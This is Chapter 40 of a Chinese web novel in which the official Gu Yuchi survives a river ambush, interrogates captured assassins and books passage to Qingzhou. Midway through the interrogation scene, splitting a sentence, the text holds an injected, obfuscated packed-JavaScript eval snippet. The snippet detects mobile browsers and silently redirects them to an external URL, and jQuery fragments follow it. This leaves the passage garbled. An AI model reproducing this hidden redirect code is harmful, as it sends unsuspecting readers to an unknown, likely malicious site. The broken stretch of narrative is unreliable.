40. 第四十章
作品:《假死后死对头发疯了(穿书)》 夜半无人,一蒙面黑衣人悄无声息进入顾府,站在顾语迟的窗外。
他轻叩几下窗子,不一会儿,窗子被人推开。
顾语迟仅着一件里衣,头发披散着,眉间一丝疲色。
他抽走黑衣人手中的信,冲他点点头。
黑衣人轻声道:“属下来时,遇到另一波人,不是我们的人。”
顾语迟揉揉眉心:“知道了。看守好这里。”
黑衣人点点头,比了一个抹脖子的动作,顾语迟点点头,将窗子合上了。
现在想杀他的人太多了,不过,他还不能死。
顾语迟连着几日没休息好,他无声叹气,展开手中的密信。
是青州来的,信中说,他们找到了顾语迟所说的女子,她还抱着一个两三岁的孩子,只不过两日前,这女子听说了黄州的事,躲到了青州刺史的府中。
顾语迟抬手将信烧成灰。
果真如他所料,安亲王有一个私生子,也许是他的同伙答应了保住他这根独苗,这才叫他打落牙齿和血吞,咬死没有同谋。
青州...是白家人的地盘,想来那刺史也是白泉真的人。
而白泉真也不是真正的背后之人,而是,盛泽。
顾语迟眯起眼,他谋划了这么久,要的就是钓出这条大鱼。
第二日,皇上诏顾语迟进宫,问起安亲王一案。
顾语迟讲了青州的发现,但他隐去了青州刺史此人,避免打草惊蛇。
“哦?你是说,他的同谋很可能是在青州?”
顾语迟道了声是。
皇上皱起了眉,青州是南方极为重要的地方...若牵扯到青州,此事非同小可。
最怕...牵扯到宁远侯。
顾语迟像是看穿皇帝的心思似的:“臣的线人并未发现宁远侯有何异常。”
皇上眉间松了松,沉吟道:“此事朕不放心他人,还得你去替朕跑一趟...咳咳!!”
皇上猛地咳嗽起来,这些年,皇上身体也渐渐不好了。
正因为如此,一些人才蠢蠢欲动起来。
顾语迟道:“臣明白,只不过,此事还需要皇上替臣掩护一二。”
皇上摆摆手:“朕明白,你如今确实危险得很,朕派人保护你。朝中之事你不必担忧。”
顾语迟领命离开。
此事来得急,顾语迟迅速敲定了去青州的日子。
临走前,顾语迟本想去秦芳好墓前看看,但犹豫片刻,最终放弃了。
眼下盯着他的人太多,他不愿意那群不干净的人到那里去。
临出发的前一夜,顾语迟又拿出了他那只珍藏的小盒子,轻柔地擦拭着。
这个动作在过去重复过无数遍,每次在他要做些什么的时候,看着盒子里的东西,好像就能叫他心安。
顾语迟眼中一片柔软。
夜里,他梦到了那个朝思暮想的身影。
秦芳好在一座桥上亭亭而立,天光还未亮,她穿着一身白衣,微微笑着看着顾语迟。
像她生前那般,顾语迟还是站在岸边,静静看着秦芳好。
远处驶过一只小舟,船夫划开泛着曦光的湖面,高声唱着曲子:
青州河汊水涟涟,绿柳垂丝拂画船。
看那荷田接碧天,粉荷摇曳舞蹁跹。
风送清香入鼻间,好似美梦醉心田。
青州美景看不完,明朝再来把歌传。
......
顾语迟猛地睁开眼。
他握住胸口的玉牌,无声叹了口气。
为了证实他心中的猜测,顾语迟决定兵分两路。
他带着一行人走水路,在冀州地界与另一行人接头。
另一队人则从陆路走,到冀州的码头埋伏着。
顾语迟垂下眼睛,他赌的是那人何时下手。
一切按照他的计划进行,顾语迟等人趁天未亮边出发,他们伪装成寻常商队,驶了一艘船向冀州而去。
顾语迟已经叫人在船上提前搜查埋伏起来,但这一路并未发生什么事,他们顺利离开离开盛京,途经了幽州。
幽州有太子的人,顾语迟一路南下,看起来十分顺利。
到了冀州地界,顾语迟吩咐手下照计划行船。
天空中艳阳高照,热气照得空气都扭曲起来。
在即将到达冀州码头时,河面上终于有了其他船的影子。
忽然间,船身剧烈晃动起来,顾语迟冷笑一声,他们终于还是按耐不住了。
毕竟,过了幽州,再往南去,就是白家的地盘了。
背后的人怎么可能叫顾语迟在自家地界出事?最好的地方就是冀州,在这里了结他。
“嗡”地一声剑鸣,几个黑衣人从另一艘船跳过来,利剑直指顾语迟。
伪装成水手的侍卫掏出剑,挡住刺向顾语迟的剑。
船上一时间响起了打斗的声音。
顾语迟抽出刺入黑衣男子胸膛的剑,喷溅出来的血溅到他的脸上。他提剑面无表情站着,血水顺着剑刃低落。
对面渐渐落了下风,一蒙面黑衣人眼中闪过一丝寒光,从背后直冲顾语迟而来。
“噗”地一声,黑衣人低头去看,一把剑从他的背后穿过。
他们居然还有援兵!
剩下的两个人见形势不对,转头便想要跳入水中。
顾语迟淡淡道:“抓住他们,这些都是死士,别让他们死了。”
不稍片刻,两个剩下的黑衣人便被捆住手脚,扔在地上,嘴里塞着麻布,动弹不得。
船被重重撞损了船身,已经无法再行驶,幸好此处离码头已经不远,他们坐着备用的小船到了岸上。
黑衣人被打晕装进了麻袋,顾语迟找了处荒凉无人之地,准备先审问这两人。
顾语迟的人对处理死士已经轻车熟路,他们扒掉这两人身上的衣服,将暗器都缴获,又卸了他们嘴里的毒药。
死士被冷水泼醒,顾语迟面色淡淡的看着他们。
顾语迟的手下审问这两人:“谁派你们来的。”
死士咬牙不语。
手下道:“我们从那几个死人身上翻出了密信,你们要在我们到达青州之前把我们杀死,你的主子能知道青州之事,也许并不难猜。”
死士冷冷看着他们:“你到底想说什么?我什么都不会告诉你们的。”
手下拿出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841185|155164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个小小的、长方形的物件,“你们每个人身上都有这么一件东西,所以,这是你们传递信息的方法吗?”
死士的瞳孔一瞬间缩小了一下,接着他冷笑道:“听不懂你在说什么。”
顾语迟捕捉到他那一瞬间的表情,他看了一眼手下,手下点点头。
死士阴阴笑了起来:“就算你们今天从我们手里逃脱,也会死在青州,顾大人,若你还惜命,劝你回到你的盛京去。”
顾语迟掀起眼皮,冷淡看了他一眼:“他叫你们这么说的么?”
死士阴狠看着他。
顾语迟淡淡道:“杀不死我,就吓我回盛京,看来青州果真有鬼。”
顾语迟心下已经笃定,盛泽这般阻挠他,青州一定有叫他一击毙命的证据,以至于他们刚出了幽州地界,盛泽就迫不及待下毒手。
这一帮黑衣人的数量不少,若不是皇上派了宫内高手保护他,也许他真的葬命于今日。
风吹起了顾语迟的衣角,他居高临下看着那个死士,眼中波澜无惊。
手下道:“大人,我们该如何?”
顾语迟收回视线:“喂毒,派两个人押送到幽州。那物件许是个哨子,想办法传信给他主子,说我们被打伤,如今在冀州。”
顾语迟看了看天色:“其余的人今晚随我出发。”
众人领命下去。
回到码头后,顾语迟派人想办法搭乘路过青州的商船。
不一会儿,手下来报,说找到一艘船愿意叫他们搭船,但船长要见见他。
顾语迟同意了,随手下前去。
关娘子抱着胳膊站在码头上,旁边站着高岭。
他们此行准备在冀州停脚一晚,第二日继续赶路。
刚才突然来了个男子,询问他们是否途经青州,愿意出重金搭船。
他给出的数字很令关娘子心动,有了这笔钱,今年年底可以给船上的孩子们添置许多东西。
但她还是谨慎了一番,看眼前男子的样子,并不像主事的人,她相信自己看人的准头,提出来要见一见他的主子。
不一会儿,那人便带着一个高大英俊的男子过来了。
这个男子高大挺拔,气质不凡,长了一张冷峻的脸,眉眼沉着,虽然穿着普通料子做成的衣服,但看起来不像是一般人。
关娘子问道:“你们要去青州?”
顾语迟淡淡嗯了声。
关娘子:“为何搭船?干什么去?杀人越货的事我不想沾。”
她一连串问了几个问题,顾语迟道:“我们的船损坏了。去青州找人,短短一截,不会牵扯其他。”
关娘子上下打量着他,忽然间,看到了他腰间那不起眼的玉佩。
关娘子猛地想起来什么,但她不露声色,面不改色装作没看到。
关娘子道:“可以,我姑且信你,但你要付押金。”
顾语迟颔首,身旁的手下掏出一袋子钱,放到关娘子手上。
关娘子颠了颠,扔了回去:“明日太阳一出来,带着你的人和钱,来此处登船。”
顾语迟带着人走了。
关娘子看着他们离开的背影,想到那块玉佩,微微眯起眼。

